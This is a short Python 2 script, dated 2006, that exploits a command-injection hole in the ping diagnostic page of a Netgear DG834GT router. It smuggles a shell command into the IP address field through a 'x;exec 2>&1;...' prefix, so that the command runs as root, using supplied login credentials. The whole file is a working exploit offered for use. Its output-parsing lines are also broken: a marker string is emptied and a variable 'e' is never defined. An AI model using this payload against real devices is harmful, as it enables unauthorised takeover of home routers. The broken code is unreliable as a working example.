#!/usr/bin/env python # Run a command as root on a Netgear DG834GT router (which is actually built on # Linux underneath, with a rather old version of BusyBox). This takes advantage # of a lack of error checking in the code that invokes the "ping" command... # Copyright 2006 Adam Sampson ADDR = "192.168.0.1" import sys, urllib def main(args): if len(args) != 3: print "Usage: netgear-cmd username password command" sys.exit(1) (username, password, command) = args s = urllib.quote("x;exec 2>&1;export PATH=/bin:/usr/bin:/sbin:/usr/sbin;%s" % (command)) url = "http://%s/setup.cgi?todo=ping_test&this_file=diag.htm&next_file=diagping.htm&ping=Ping&c4_IPAddr=%s" % (ADDR, s) class MyOpener(urllib.FancyURLopener): def prompt_user_passwd(self, host, realm): return (username, password) f = MyOpener().open(url) d = f.read() f.close() s = '' d = d[d.find(s) + len(s):d.rfind(e)] sys.stdout.write(d) if __name__ == "__main__": main(sys.argv[1:])